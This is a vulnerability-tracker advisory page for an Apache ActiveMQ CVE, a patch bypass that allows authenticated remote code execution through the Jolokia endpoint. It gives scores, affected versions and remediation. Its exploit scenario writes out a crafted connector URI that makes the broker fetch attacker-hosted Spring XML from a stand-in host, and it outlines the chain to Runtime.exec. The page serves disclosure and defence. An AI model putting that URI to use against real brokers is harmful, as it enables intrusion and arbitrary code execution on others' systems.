Skip to main content

Apache ActiveMQ CVE-2026-45505

| EUVDEUVD-2026-33576 HIGH
Improper Input Validation (CWE-20)
2026-06-01 security@apache.org GHSA-v853-w46p-fv2h
8.8
CVSS 3.1 · Vendor: apache
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain ActiveMQ console credentials
  2. Delivery
    Reach /api/jolokia/ JMX-HTTP bridge
  3. Exploit
    Invoke addNetworkConnector with masterslave:vm:// or static:vm:// wrapper
  4. Install
    Bypass CVE-2026-34197 validation
  5. C2
    Broker fetches attacker-hosted Spring XML
  6. Execute
    ResourceXmlApplicationContext instantiates malicious bean
  7. Impact
    Execute arbitrary code as broker JVM user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

Attacker must have valid authentication credentials to the ActiveMQ web console / Jolokia endpoint (CVSS PR:L), and the Jolokia JMX-HTTP bridge at /api/jolokia/ must be reachable from the attacker - this is enabled by default on the ActiveMQ web console. The default Jolokia access policy must still permit exec operations on org.apache.activemq:* MBeans (the shipped default); environments that hardened jolokia-access.xml to deny exec on BrokerService are not exploitable. The broker host must also be able to make outbound HTTP(S) requests to fetch the attacker-hosted Spring XML payload, so strict egress filtering breaks the chain. Limiting factors: low-privilege authentication required (rules out fully unauthenticated internet drive-by), exploitation depends on the default Jolokia policy being unchanged, and only versions before 5.19.7 or 6.0.0-6.2.5 are affected.

Impact

Signals are mixed. CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates a network-reachable, low-complexity attack requiring only low privileges, with full CIA impact - consistent with authenticated RCE. EPSS is very low at 0.06% (19th percentile), and the vulnerability is not on the CISA KEV list, suggesting no observed mass exploitation yet. However, two factors elevate real-world risk above what EPSS suggests: (1) this is a patch bypass of CVE-2026-34197, meaning attackers already have the original exploit research and only need to swap the wrapper syntax; and (2) ActiveMQ RCE chains have historically attracted ransomware operators (e.g., the CVE-2023-46604 wave). The PR:L requirement is the main mitigating factor - exploitation requires valid Jolokia/JMX credentials, but ActiveMQ deployments with default or weak credentials and exposed web consoles are common. Treat as high priority for any internet-exposed or multi-tenant broker; medium priority for hardened internal deployments.

Exploit ScenarioDerived

An attacker with valid (or default/weak) ActiveMQ console credentials sends an authenticated HTTP POST to /api/jolokia/ invoking BrokerService.addNetworkConnector with a crafted URI such as masterslave:vm://broker?brokerConfig=xbean:http://attacker.example/evil.xml. The wrapper bypasses the CVE-2026-34197 input validation, the VM transport resolves the brokerConfig parameter, and Spring's ResourceXmlApplicationContext fetches and instantiates the attacker's XML, executing arbitrary commands via a Runtime.exec bean factory method as the broker's JVM user. No public exploit identified at time of analysis, but the CVE-2026-34197 exploit chain is public and adapting it requires only changing the discovery wrapper prefix.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 01, 2026

Remote code execution in Apache ActiveMQ Broker, ActiveMQ All, and ActiveMQ (versions before 5.19.7 and 6.0.0 before 6.2.6) allows authenticated attackers to bypass the CVE-2026-34197 fix using non-parenthesized discovery wrappers such as masterslave:vm://... and static:vm://..., which incorrectly pass validation and trigger the VM transport's brokerConfig parameter to load a remote Spring XML application context. The flaw abuses the Jolokia JMX-HTTP bridge at /api/jolokia/ to invoke BrokerService.addNetworkConnector/addConnector MBean operations, resulting in arbitrary code execution on the broker JVM. EPSS is low at 0.06% (19th percentile) and no public exploit identified at time of analysis, but the patch bypass nature and prior in-the-wild interest in ActiveMQ RCE chains warrant urgent patching.

RemediationAI

Vendor-released patch: upgrade to Apache ActiveMQ 5.19.7 (for the 5.x line) or 6.2.6 (for the 6.x line) per the Apache announcement at https://lists.apache.org/thread/7n97nddyw96w6ykldjv1h40jx86xdo0w. Because this is a bypass of CVE-2026-34197, the earlier patch is insufficient and must be replaced. If immediate upgrade is not feasible, restrict access to the /api/jolokia/ endpoint on the web console via reverse-proxy ACLs or by disabling the Jolokia agent in jetty.xml (side effect: breaks JMX-over-HTTP monitoring and any tooling depending on it); harden the Jolokia access policy (jolokia-access.xml) to deny exec operations on org.apache.activemq:type=Broker MBeans, particularly addNetworkConnector and addConnector (side effect: prevents legitimate dynamic connector management); rotate and strengthen ActiveMQ console/JMX credentials to eliminate weak or default authentication; and ensure the web console is not exposed to untrusted networks. Network egress filtering from broker hosts can also limit the attacker's ability to host the malicious Spring XML, but should not be relied on as primary control.

Affected VersionsENISA

Apache ActiveMQ 0 <5.19.7
Apache ActiveMQ Broker 6.0.0 <6.2.6
Apache ActiveMQ 6.0.0 <6.2.6
Apache ActiveMQ All 0 <5.19.7
Apache ActiveMQ All 6.0.0 <6.2.6
Apache ActiveMQ Broker 0 <5.19.7

Affected Packages

maven org.apache.activemq:activemq-all fix: 5.19.7, 6.2.6
maven org.apache.activemq:activemq-broker fix: 5.19.7, 6.2.6
maven org.apache.activemq:apache-activemq fix: 5.19.7, 6.2.6
euvd apache_activemq fix: 5.19.7, 6.2.6
euvd apache_activemq_all fix: 5.19.7, 6.2.6
euvd apache_activemq_broker fix: 5.19.7, 6.2.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 6 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Apache ActiveMQ is a widely deployed open-source JMS message broker written in Java. The vulnerability sits at the intersection of three components: (1) the Jolokia JMX-HTTP bridge exposed at /api/jolokia/ on the web console, whose default access policy permits exec operations on all org.apache.activemq:* MBeans; (2) the VM transport's discovery URI parser, which accepts composite/wrapper schemes; and (3) Spring's ResourceXmlApplicationContext, which eagerly instantiates singleton beans (including ones invoking Runtime.exec via factory methods) before BrokerService validates the configuration. CVE-2026-34197 attempted to validate discovery URIs to block remote Spring XML loading, but the regex/parser did not account for non-parenthesized wrapper forms like masterslave:vm://a,b and static:vm://a, which slip through validation while still resolving to an attacker-controlled brokerConfig. The root cause class is CWE-20 (Improper Input Validation) compounded by CWE-94 (Code Injection) via unsafe Spring XML bean instantiation.

Know when Activemq gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (apache) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Red Hat 8.8 HIGH

Primary rating from Vendor (apache).

CVSS VectorVendor: apache

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
CVE Published
Jun 22, 2026 - 06:03 cve.org
HIGH 8.8
CVSS changed
Jun 01, 2026 - 15:22 NVD
8.8 (HIGH)
Patch available
Jun 01, 2026 - 10:01 EUVD
CVE Published
Jun 01, 2026 - 09:16 nvd
UNKNOWN (no severity yet)

DescriptionCVE.org

Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ.

Non-parenthesized discovery wrappers such as masterslave:vm://...,... and static:vm://... incorrectly pass validation allowing bypass of fix in CVE-2026-34197.

Original description from CVE-2026-34197.

Apache ActiveMQ exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery UR that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ All: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ: before 5.19.7, from 6.0.0 before 6.2.6.

Users are recommended to upgrade to version 5.19.7 or 6.2.6, which fixes the issue.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 6 maven packages depend on org.apache.activemq:activemq-all (3 direct, 3 indirect)
  • 21 maven packages depend on org.apache.activemq:activemq-broker (14 direct, 7 indirect)

Ecosystem-wide dependent count for version 6.0.0 and other introduced versions.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2020-26217 HIGH POC
8.8 Nov 16

XStream before version 1.4.14 is vulnerable to Remote Code Execution.The vulnerability may allow a remote attacker to ru

CVE-2021-21351 CRITICAL POC
9.1 Mar 23

XStream is a Java library to serialize objects to XML and back again. Rated critical severity (CVSS 9.1), this vulnerabi

CVE-2015-1830 MEDIUM POC
5.0 Aug 19

Directory traversal vulnerability in the fileserver upload/download functionality for blob messages in Apache ActiveMQ 5

CVE-2021-21346 CRITICAL POC
9.8 Mar 23

XStream is a Java library to serialize objects to XML and back again. Rated critical severity (CVSS 9.8), this vulnerabi

CVE-2021-21344 CRITICAL POC
9.8 Mar 23

XStream is a Java library to serialize objects to XML and back again. Rated critical severity (CVSS 9.8), this vulnerabi

CVE-2021-21345 CRITICAL POC
9.9 Mar 23

XStream is a Java library to serialize objects to XML and back again. Rated critical severity (CVSS 9.9), this vulnerabi

CVE-2021-21341 HIGH POC
7.5 Mar 23

XStream is a Java library to serialize objects to XML and back again. Rated high severity (CVSS 7.5), this vulnerability

CVE-2015-5254 CRITICAL
9.8 Jan 08

Apache ActiveMQ 5.x before 5.13.0 does not restrict the classes that can be serialized in the broker, which allows remot

CVE-2021-21342 CRITICAL POC
9.1 Mar 23

XStream is a Java library to serialize objects to XML and back again. Rated critical severity (CVSS 9.1), this vulnerabi

CVE-2021-21349 HIGH POC
8.6 Mar 23

XStream is a Java library to serialize objects to XML and back again. Rated high severity (CVSS 8.6), this vulnerability

CVE-2021-21343 HIGH POC
7.5 Mar 23

XStream is a Java library to serialize objects to XML and back again. Rated high severity (CVSS 7.5), this vulnerability

CVE-2021-21350 CRITICAL POC
9.8 Mar 23

XStream is a Java library to serialize objects to XML and back again. Rated critical severity (CVSS 9.8), this vulnerabi

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy